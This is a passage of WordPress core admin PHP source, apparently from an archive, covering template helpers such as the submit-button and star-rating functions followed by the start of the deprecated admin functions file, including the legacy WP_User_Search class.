 * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
 *                                       include 'primary', 'small', and 'large'. Default 'primary large'.
 * @param string       $name             Optional. The HTML name of the submit button. Defaults to "submit".
 *                                       If no id attribute is given in $other_attributes below, `$name` will
 *                                       be used as the button's id. Default 'submit'.
 * @param bool         $wrap             Optional. True if the output button should be wrapped in a paragraph
 *                                       tag, false otherwise. Default true.
 * @param array|string $other_attributes Optional. Other attributes that should be output with the button,
 *                                       mapping attributes to their values, such as `array( 'tabindex' => '1' )`.
 *                                       These attributes will be output as `attribute="value"`, such as
 *                                       `tabindex="1"`. Other attributes can also be provided as a string such
 *                                       as `tabindex="1"`, though the array format is typically cleaner.
 *                                       Default empty.
 * @return string Submit button HTML.
 */
function get_submit_button( $text = '', $type = 'primary large', $name = 'submit', $wrap = true, $other_attributes = '' ) {
	if ( ! is_array( $type ) ) {
		$type = explode( ' ', $type );
	}

	$button_shorthand = array( 'primary', 'small', 'large' );
	$classes          = array( 'button' );

	foreach ( $type as $t ) {
		if ( 'secondary' === $t || 'button-secondary' === $t ) {
			continue;
		}

		$classes[] = in_array( $t, $button_shorthand, true ) ? 'button-' . $t : $t;
	}

	// Remove empty items, remove duplicate items, and finally build a string.
	$class = implode( ' ', array_unique( array_filter( $classes ) ) );

	$text = $text ? $text : __( 'Save Changes' );

	// Default the id attribute to $name unless an id was specifically provided in $other_attributes.
	$id = $name;
	if ( is_array( $other_attributes ) && isset( $other_attributes['id'] ) ) {
		$id = $other_attributes['id'];
		unset( $other_attributes['id'] );
	}

	$attributes = '';
	if ( is_array( $other_attributes ) ) {
		foreach ( $other_attributes as $attribute => $value ) {
			$attributes .= $attribute . '="' . esc_attr( $value ) . '" '; // Trailing space is important.
		}
	} elseif ( ! empty( $other_attributes ) ) { // Attributes provided as a string.
		$attributes = $other_attributes;
	}

	// Don't output empty name and id attributes.
	$name_attr = $name ? ' name="' . esc_attr( $name ) . '"' : '';
	$id_attr   = $id ? ' id="' . esc_attr( $id ) . '"' : '';

	$button  = '<input type="submit"' . $name_attr . $id_attr . ' class="' . esc_attr( $class );
	$button .= '" value="' . esc_attr( $text ) . '" ' . $attributes . ' />';

	if ( $wrap ) {
		$button = '<p class="submit">' . $button . '</p>';
	}

	return $button;
}

/**
 * Prints out the beginning of the admin HTML header.
 *
 * @global bool $is_IE
 */
function _wp_admin_html_begin() {
	global $is_IE;

	$admin_html_class = ( is_admin_bar_showing() ) ? 'wp-toolbar' : '';

	if ( $is_IE ) {
		header( 'X-UA-Compatible: IE=edge' );
	}

	?>
<!DOCTYPE html>
<html class="<?php echo $admin_html_class; ?>"
	<?php
	/**
	 * Fires inside the HTML tag in the admin header.
	 *
	 * @since 2.2.0
	 */
	do_action( 'admin_xml_ns' );

	language_attributes();
	?>
>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
	<?php
}

/**
 * Converts a screen string to a screen object.
 *
 * @since 3.0.0
 *
 * @param string $hook_name The hook name (also known as the hook suffix) used to determine the screen.
 * @return WP_Screen Screen object.
 */
function convert_to_screen( $hook_name ) {
	if ( ! class_exists( 'WP_Screen' ) ) {
		_doing_it_wrong(
			'convert_to_screen(), add_meta_box()',
			sprintf(
				/* translators: 1: wp-admin/includes/template.php, 2: add_meta_box(), 3: add_meta_boxes */
				__( 'Likely direct inclusion of %1$s in order to use %2$s. This is very wrong. Hook the %2$s call into the %3$s action instead.' ),
				'<code>wp-admin/includes/template.php</code>',
				'<code>add_meta_box()</code>',
				'<code>add_meta_boxes</code>'
			),
			'3.3.0'
		);
		return (object) array(
			'id'   => '_invalid',
			'base' => '_are_belong_to_us',
		);
	}

	return WP_Screen::get( $hook_name );
}

/**
 * Outputs the HTML for restoring the post data from DOM storage
 *
 * @since 3.6.0
 * @access private
 */
function _local_storage_notice() {
	$local_storage_message  = '<p class="local-restore">';
	$local_storage_message .= __( 'The backup of this post in your browser is different from the version below.' );
	$local_storage_message .= '<button type="button" class="button restore-backup">' . __( 'Restore the backup' ) . '</button></p>';
	$local_storage_message .= '<p class="help">';
	$local_storage_message .= __( 'This will replace the current editor content with the last backup version. You can use undo and redo in the editor to get the old content back or to return to the restored version.' );
	$local_storage_message .= '</p>';

	wp_admin_notice(
		$local_storage_message,
		array(
			'id'                 => 'local-storage-notice',
			'additional_classes' => array( 'hidden' ),
			'dismissible'        => true,
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * Outputs a HTML element with a star rating for a given rating.
 *
 * Outputs a HTML element with the star rating exposed on a 0..5 scale in
 * half star increments (ie. 1, 1.5, 2 stars). Optionally, if specified, the
 * number of ratings may also be displayed by passing the $number parameter.
 *
 * @since 3.8.0
 * @since 4.4.0 Introduced the `echo` parameter.
 *
 * @param array $args {
 *     Optional. Array of star ratings arguments.
 *
 *     @type int|float $rating The rating to display, expressed in either a 0.5 rating increment,
 *                             or percentage. Default 0.
 *     @type string    $type   Format that the $rating is in. Valid values are 'rating' (default),
 *                             or, 'percent'. Default 'rating'.
 *     @type int       $number The number of ratings that makes up this rating. Default 0.
 *     @type bool      $echo   Whether to echo the generated markup. False to return the markup instead
 *                             of echoing it. Default true.
 * }
 * @return string Star rating HTML.
 */
function wp_star_rating( $args = array() ) {
	$defaults    = array(
		'rating' => 0,
		'type'   => 'rating',
		'number' => 0,
		'echo'   => true,
	);
	$parsed_args = wp_parse_args( $args, $defaults );

	// Non-English decimal places when the $rating is coming from a string.
	$rating = (float) str_replace( ',', '.', $parsed_args['rating'] );

	// Convert percentage to star rating, 0..5 in .5 increments.
	if ( 'percent' === $parsed_args['type'] ) {
		$rating = round( $rating / 10, 0 ) / 2;
	}

	// Calculate the number of each type of star needed.
	$full_stars  = floor( $rating );
	$half_stars  = ceil( $rating - $full_stars );
	$empty_stars = 5 - $full_stars - $half_stars;

	if ( $parsed_args['number'] ) {
		/* translators: Hidden accessibility text. 1: The rating, 2: The number of ratings. */
		$format = _n( '%1$s rating based on %2$s rating', '%1$s rating based on %2$s ratings', $parsed_args['number'] );
		$title  = sprintf( $format, number_format_i18n( $rating, 1 ), number_format_i18n( $parsed_args['number'] ) );
	} else {
		/* translators: Hidden accessibility text. %s: The rating. */
		$title = sprintf( __( '%s rating' ), number_format_i18n( $rating, 1 ) );
	}

	$output  = '<div class="star-rating">';
	$output .= '<span class="screen-reader-text">' . $title . '</span>';
	$output .= str_repeat( '<div class="star star-full" aria-hidden="true"></div>', $full_stars );
	$output .= str_repeat( '<div class="star star-half" aria-hidden="true"></div>', $half_stars );
	$output .= str_repeat( '<div class="star star-empty" aria-hidden="true"></div>', $empty_stars );
	$output .= '</div>';

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Outputs a notice when editing the page for posts (internal use only).
 *
 * @ignore
 * @since 4.2.0
 */
function _wp_posts_page_notice() {
	wp_admin_notice(
		__( 'You are currently editing the page that shows your latest posts.' ),
		array(
			'type'               => 'warning',
			'additional_classes' => array( 'inline' ),
		)
	);
}

/**
 * Outputs a notice when editing the page for posts in the block editor (internal use only).
 *
 * @ignore
 * @since 5.8.0
 */
function _wp_block_editor_posts_page_notice() {
	wp_add_inline_script(
		'wp-notices',
		sprintf(
			'wp.data.dispatch( "core/notices" ).createWarningNotice( "%s", { isDismissible: false } )',
			__( 'You are currently editing the page that shows your latest posts.' )
		),
		'after'
	);
}
deprecated.php000064400000121456150275632050007373 0ustar00<?php
/**
 * Deprecated admin functions from past WordPress versions. You shouldn't use these
 * functions and look for the alternatives instead. The functions will be removed
 * in a later version.
 *
 * @package WordPress
 * @subpackage Deprecated
 */

/*
 * Deprecated functions come here to die.
 */

/**
 * @since 2.1.0
 * @deprecated 2.1.0 Use wp_editor()
 * @see wp_editor()
 */
function tinymce_include() {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_editor()' );

	wp_tiny_mce();
}

/**
 * Unused Admin function.
 *
 * @since 2.0.0
 * @deprecated 2.5.0
 *
 */
function documentation_link() {
	_deprecated_function( __FUNCTION__, '2.5.0' );
}

/**
 * Calculates the new dimensions for a downsampled image.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use wp_constrain_dimensions()
 * @see wp_constrain_dimensions()
 *
 * @param int $width Current width of the image
 * @param int $height Current height of the image
 * @param int $wmax Maximum wanted width
 * @param int $hmax Maximum wanted height
 * @return array Shrunk dimensions (width, height).
 */
function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_constrain_dimensions()' );
	return wp_constrain_dimensions( $width, $height, $wmax, $hmax );
}

/**
 * Calculated the new dimensions for a downsampled image.
 *
 * @since 2.0.0
 * @deprecated 3.5.0 Use wp_constrain_dimensions()
 * @see wp_constrain_dimensions()
 *
 * @param int $width Current width of the image
 * @param int $height Current height of the image
 * @return array Shrunk dimensions (width, height).
 */
function get_udims( $width, $height ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_constrain_dimensions()' );
	return wp_constrain_dimensions( $width, $height, 128, 96 );
}

/**
 * Legacy function used to generate the categories checklist control.
 *
 * @since 0.71
 * @deprecated 2.6.0 Use wp_category_checklist()
 * @see wp_category_checklist()
 *
 * @global int $post_ID
 *
 * @param int   $default_category Unused.
 * @param int   $category_parent  Unused.
 * @param array $popular_ids      Unused.
 */
function dropdown_categories( $default_category = 0, $category_parent = 0, $popular_ids = array() ) {
	_deprecated_function( __FUNCTION__, '2.6.0', 'wp_category_checklist()' );
	global $post_ID;
	wp_category_checklist( $post_ID );
}

/**
 * Legacy function used to generate a link categories checklist control.
 *
 * @since 2.1.0
 * @deprecated 2.6.0 Use wp_link_category_checklist()
 * @see wp_link_category_checklist()
 *
 * @global int $link_id
 *
 * @param int $default_link_category Unused.
 */
function dropdown_link_categories( $default_link_category = 0 ) {
	_deprecated_function( __FUNCTION__, '2.6.0', 'wp_link_category_checklist()' );
	global $link_id;
	wp_link_category_checklist( $link_id );
}

/**
 * Get the real filesystem path to a file to edit within the admin.
 *
 * @since 1.5.0
 * @deprecated 2.9.0
 * @uses WP_CONTENT_DIR Full filesystem path to the wp-content directory.
 *
 * @param string $file Filesystem path relative to the wp-content directory.
 * @return string Full filesystem path to edit.
 */
function get_real_file_to_edit( $file ) {
	_deprecated_function( __FUNCTION__, '2.9.0' );

	return WP_CONTENT_DIR . $file;
}

/**
 * Legacy function used for generating a categories drop-down control.
 *
 * @since 1.2.0
 * @deprecated 3.0.0 Use wp_dropdown_categories()
 * @see wp_dropdown_categories()
 *
 * @param int $current_cat     Optional. ID of the current category. Default 0.
 * @param int $current_parent  Optional. Current parent category ID. Default 0.
 * @param int $category_parent Optional. Parent ID to retrieve categories for. Default 0.
 * @param int $level           Optional. Number of levels deep to display. Default 0.
 * @param array $categories    Optional. Categories to include in the control. Default 0.
 * @return void|false Void on success, false if no categories were found.
 */
function wp_dropdown_cats( $current_cat = 0, $current_parent = 0, $category_parent = 0, $level = 0, $categories = 0 ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_dropdown_categories()' );
	if (!$categories )
		$categories = get_categories( array('hide_empty' => 0) );

	if ( $categories ) {
		foreach ( $categories as $category ) {
			if ( $current_cat != $category->term_id && $category_parent == $category->parent) {
				$pad = str_repeat( '&#8211; ', $level );
				$category->name = esc_html( $category->name );
				echo "\n\t<option value='$category->term_id'";
				if ( $current_parent == $category->term_id )
					echo " selected='selected'";
				echo ">$pad$category->name</option>";
				wp_dropdown_cats( $current_cat, $current_parent, $category->term_id, $level +1, $categories );
			}
		}
	} else {
		return false;
	}
}

/**
 * Register a setting and its sanitization callback
 *
 * @since 2.7.0
 * @deprecated 3.0.0 Use register_setting()
 * @see register_setting()
 *
 * @param string   $option_group      A settings group name. Should correspond to an allowed option key name.
 *                                    Default allowed option key names include 'general', 'discussion', 'media',
 *                                    'reading', 'writing', and 'options'.
 * @param string   $option_name       The name of an option to sanitize and save.
 * @param callable $sanitize_callback Optional. A callback function that sanitizes the option's value.
 */
function add_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'register_setting()' );
	register_setting( $option_group, $option_name, $sanitize_callback );
}

/**
 * Unregister a setting
 *
 * @since 2.7.0
 * @deprecated 3.0.0 Use unregister_setting()
 * @see unregister_setting()
 *
 * @param string   $option_group      The settings group name used during registration.
 * @param string   $option_name       The name of the option to unregister.
 * @param callable $sanitize_callback Optional. Deprecated.
 */
function remove_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'unregister_setting()' );
	unregister_setting( $option_group, $option_name, $sanitize_callback );
}

/**
 * Determines the language to use for CodePress syntax highlighting.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 *
 * @param string $filename
 */
function codepress_get_lang( $filename ) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
}

/**
 * Adds JavaScript required to make CodePress work on the theme/plugin file editors.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 */
function codepress_footer_js() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
}

/**
 * Determine whether to use CodePress.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 */
function use_codepress() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
}

/**
 * Get all user IDs.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return array List of user IDs.
 */
function get_author_user_ids() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;
	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // WPMU site admins don't have user_levels.

	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) );
}

/**
 * Gets author users who can edit posts.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array|false List of editable authors. False if no editable users.
 */
function get_editable_authors( $user_id ) {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;

	$editable = get_editable_user_ids( $user_id );

	if ( !$editable ) {
		return false;
	} else {
		$editable = join(',', $editable);
		$authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" );
	}

	return apply_filters('get_editable_authors', $authors);
}

/**
 * Gets the IDs of any users who can edit posts.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int  $user_id       User ID.
 * @param bool $exclude_zeros Optional. Whether to exclude zeroes. Default true.
 * @return array Array of editable user IDs, empty array otherwise.
 */
function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;

	if ( ! $user = get_userdata( $user_id ) )
		return array();
	$post_type_obj = get_post_type_object($post_type);

	if ( ! $user->has_cap($post_type_obj->cap->edit_others_posts) ) {
		if ( $user->has_cap($post_type_obj->cap->edit_posts) || ! $exclude_zeros )
			return array($user->ID);
		else
			return array();
	}

	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // WPMU site admins don't have user_levels.

	$query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key);
	if ( $exclude_zeros )
		$query .= " AND meta_value != '0'";

	return $wpdb->get_col( $query );
}

/**
 * Gets all users who are not authors.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function get_nonauthor_user_ids() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;

	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // WPMU site admins don't have user_levels.

	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) );
}

if ( ! class_exists( 'WP_User_Search', false ) ) :
/**
 * WordPress User Search class.
 *
 * @since 2.1.0
 * @deprecated 3.1.0 Use WP_User_Query
 */
class WP_User_Search {

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var mixed
	 */
	var $results;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var string
	 */
	var $search_term;

	/**
	 * Page number.
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $page;

	/**
	 * Role name that users have.
	 *
	 * @since 2.5.0
	 * @access private
	 * @var string
	 */
	var $role;

	/**
	 * Raw page number.
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int|bool
	 */
	var $raw_page;

	/**
	 * Amount of users to display per page.
	 *
	 * @since 2.1.0
	 * @access public
	 * @var int
	 */
	var $users_per_page = 50;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $first_user;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $last_user;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var string
	 */
	var $query_limit;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_orderby;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_from;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_where;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $total_users_for_query = 0;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var bool
	 */
	var $too_many_total_users = false;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var WP_Error
	 */
	var $search_errors;

	/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.7.0
	 * @access private
	 * @var string
	 */
	var $paging_text;

	/**
	 * PHP5 Constructor - Sets up the object properties.
	 *
	 * @since 2.1.0
	 *
	 * @param string $search_term Search terms string.
	 * @param int $page Optional. Page ID.
	 * @param string $role Role name.
	 * @return WP_User_Search
	 */
	function __construct( $search_term = '', $page = '', $role = '' ) {
		_deprecated_class( 'WP_User_Search', '3.1.0', 'WP_User_Query' );

		$this->search_term = wp_unslash( $search_term );
		$this->raw_page = ( '' == $page ) ? false : (int) $page;
		$this->page = ( '' == $page ) ? 1 : (int) $page;
		$this->role = $role;

		$this->prepare_query();
		$this->query();
		$this->do_paging();
	}

	/**
	 * PHP4 Constructor - Sets up the object properties.
	 *
	 * @since 2.1.0
	 *
	 * @param string $search_term Search terms string.
	 * @param int $page Optional. Page ID.
	 * @param string $role Role name.
	 * @return WP_User_Search
	 */
	public function WP_User_Search( $search_term = '', $page = '', $role = '' ) {
		_deprecated_constructor( 'WP_User_Search', '3.1.0', get_class( $this ) );
		self::__construct( $search_term, $page, $role );
	}

	/**
	 * Prepares the user search query (legacy).
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function prepare_query() {
		global $wpdb;
		$this->first_user = ($this->page - 1) * $this->users_per_page;

		$this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page);
		$this->query_orderby = ' ORDER BY user_login';

		$search_sql = '';
		if ( $this->search_term ) {
			$searches = array();
			$search_sql = 'AND (';
			foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col )
				$searches[] = $wpdb->prepare( $col . ' LIKE %s', '%' . like_escape($this->search_term) . '%' );
			$search_sql .= implode(' OR ', $searches);
			$search_sql .= ')';
		}

		$this->query_from = " FROM $wpdb->users";
		$this->query_where = " WHERE 1=1 $search_sql";

		if ( $this->role ) {
			$this->query_from .= " INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id";
			$this->query_where .= $wpdb->prepare(" AND $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%');
		} elseif ( is_multisite() ) {
			$level_key = $wpdb->prefix . 'capabilities'; // WPMU site admins don't have user_levels.
			$this->query_from .= ", $wpdb->usermeta";
			$this->query_where .= " AND $wpdb->users.ID = $wpdb->usermeta.user_id AND meta_key = '{$level_key}'";
		}

		do_action_ref_array( 'pre_user_search', array( &$this ) );
	}

	/**
	 * Executes the user search query.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function query() {
		global $wpdb;

		$this->results = $wpdb->get_col("SELECT DISTINCT($wpdb->users.ID)" . $this->query_from . $this->query_where . $this->query_orderby . $this->query_limit);

		if ( $this->results )
			$this->total_users_for_query = $wpdb->get_var("SELECT COUNT(DISTINCT($wpdb->users.ID))" . $this->query_from . $this->query_where); // No limit.
		else
			$this->search_errors = new WP_Error('no_matching_users_found', __('No users found.'));
	}

	/**
	 * Prepares variables for use in templates.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function prepare_vars_for_template_usage() {}

	/**
	 * Handles paging for the user search query.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	public function do_paging() {
		if ( $this->total_users_for_query > $this->users_per_page ) { // Have to page the results.
			$args = array();
			if ( ! empty($this->search_term) )
				$args['usersearch'] = urlencode($this->search_term);
			if ( ! empty($this->role) )
				$args['role'] = urlencode($this->role);

			$this->paging_text = paginate_links( array(
				'total' => ceil($this->total_users_for_query / $this->users_per_page),
				'current' => $this->page,
				'base' => 'users.php?%_%',
				'format' => 'userspage=%#%',
				'add_args' => $args
			) );
			if ( $this->paging_text ) {
				$this->paging_text = sprintf(
					/* translators: 1: Starting number of users on the current page, 2: Ending number of users, 3: Total number of users. */
					'<span class="displaying-num">' . __( 'Displaying %1$s&#8211;%2$s of %3$s' ) . '</span>%s',
					number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ),
					number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ),
					number_format_i18n( $this->total_users_for_query ),
					$this->paging_text
				);
			}
		}
	}

	/**
	 * Retrieves the user search query results.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return array
	 */
	public function get_results() {
		return (array) $this->results;
	}

	/**
	 * Displaying paging text.
	 *
	 * @see do_paging() Builds paging text.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function page_links() {
		echo $this->paging_text;
	}

	/**
	 * Whether paging is enabled.
	 *
	 * @see do_paging() Builds paging text.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return bool
	 */
	function results_are_paged() {
		if ( $this->paging_text )
			return true;
		return false;
	}

	/**
	 * Whether there are search terms.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return bool
	 */
	function is_search() {
		if ( $this->search_term )
			return true;
		return false;
	}
}
endif;

/**
 * Retrieves editable posts from other users.
 *
 * @since 2.3.0
 * @deprecated 3.1.0 Use get_posts()
 * @see get_posts()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id User ID to not retrieve posts from.
 * @param string $type    Optional. Post type to retrieve. Accepts 'draft', 'pending' or 'any' (all).
 *                        Default 'any'.
 * @return array List of posts from others.
 */
function get_others_unpublished_posts( $user_id, $type = 'any' ) {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	global $wpdb;

	$editable = get_editable_user_ids( $user_id );

	if ( in_array($type, array('draft', 'pending')) )
		$type_sql = " post_status = '$type' ";
	else
		$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";

	$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';

	if ( !$editable ) {
		$other_unpubs = '';
	} else {
		$editable = join(',', $editable);
		$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
	}

	return apply_filters('get_others_drafts', $other_unpubs);
}

/**
 * Retrieve drafts from other users.
 *
 * @deprecated 3.1.0 Use get_posts()
 * @see get_posts()
 *
 * @param int $user_id User ID.
 * @return array List of drafts from other users.
 */
function get_others_drafts($user_id) {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	return get_others_unpublished_posts($user_id, 'draft');
}

/**
 * Retrieve pending review posts from other users.
 *
 * @deprecated 3.1.0 Use get_posts()
 * @see get_posts()
 *
 * @param int $user_id User ID.
 * @return array List of posts with pending review post type from other users.
 */
function get_others_pending($user_id) {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	return get_others_unpublished_posts($user_id, 'pending');
}

/**
 * Output the QuickPress dashboard widget.
 *
 * @since 3.0.0
 * @deprecated 3.2.0 Use wp_dashboard_quick_press()
 * @see wp_dashboard_quick_press()
 */
function wp_dashboard_quick_press_output() {
	_deprecated_function( __FUNCTION__, '3.2.0', 'wp_dashboard_quick_press()' );
	wp_dashboard_quick_press();
}

/**
 * Outputs the TinyMCE editor.
 *
 * @since 2.7.0
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_tiny_mce( $teeny = false, $settings = false ) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );

	static $num = 1;

	if ( ! class_exists( '_WP_Editors', false ) )
		require_once ABSPATH . WPINC . '/class-wp-editor.php';

	$editor_id = 'content' . $num++;

	$set = array(
		'teeny' => $teeny,
		'tinymce' => $settings ? $settings : true,
		'quicktags' => false
	);

	$set = _WP_Editors::parse_settings($editor_id, $set);
	_WP_Editors::editor_settings($editor_id, $set);
}

/**
 * Preloads TinyMCE dialogs.
 *
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_preload_dialogs() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
}

/**
 * Prints TinyMCE editor JS.
 *
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_print_editor_js() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
}

/**
 * Handles quicktags.
 *
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 */
function wp_quicktags() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
}

/**
 * Returns the screen layout options.
 *
 * @since 2.8.0
 * @deprecated 3.3.0 WP_Screen::render_screen_layout()
 * @see WP_Screen::render_screen_layout()
 */
function screen_layout( $screen ) {
	_deprecated_function( __FUNCTION__, '3.3.0', '$current_screen->render_screen_layout()' );

	$current_screen = get_current_screen();

	if ( ! $current_screen )
		return '';

	ob_start();
	$current_screen->render_screen_layout();
	return ob_get_clean();
}

/**
 * Returns the screen's per-page options.
 *
 * @since 2.8.0
 * @deprecated 3.3.0 Use WP_Screen::render_per_page_options()
 * @see WP_Screen::render_per_page_options()
 */
function screen_options( $screen ) {
	_deprecated_function( __FUNCTION__, '3.3.0', '$current_screen->render_per_page_options()' );

	$current_screen = get_current_screen();

	if ( ! $current_screen )
		return '';

	ob_start();
	$current_screen->render_per_page_options();
	return ob_get_clean();
}

/**
 * Renders the screen's help.
 *
 * @since 2.7.0
 * @deprecated 3.3.0 Use WP_Screen::render_screen_meta()
 * @see WP_Screen::render_screen_meta()
 */
function screen_meta( $screen ) {
	$current_screen = get_current_screen();
	$current_screen->render_screen_meta();
}

/**
 * Favorite actions were deprecated in version 3.2. Use the admin bar instead.
 *
 * @since 2.7.0
 * @deprecated 3.2.0 Use WP_Admin_Bar
 * @see WP_Admin_Bar
 */
function favorite_actions() {
	_deprecated_function( __FUNCTION__, '3.2.0', 'WP_Admin_Bar' );
}

/**
 * Handles uploading an image.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_image() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles uploading an audio file.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_audio() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles uploading a video file.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_video() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles uploading a generic file.
 *
 * @deprecated 3.3.0 Use wp_media_upload_handler()
 * @see wp_media_upload_handler()
 *
 * @return null|string
 */
function media_upload_file() {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

/**
 * Handles retrieving the insert-from-URL form for an image.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_image() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('image')" );
	return wp_media_insert_url_form( 'image' );
}

/**
 * Handles retrieving the insert-from-URL form for an audio file.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
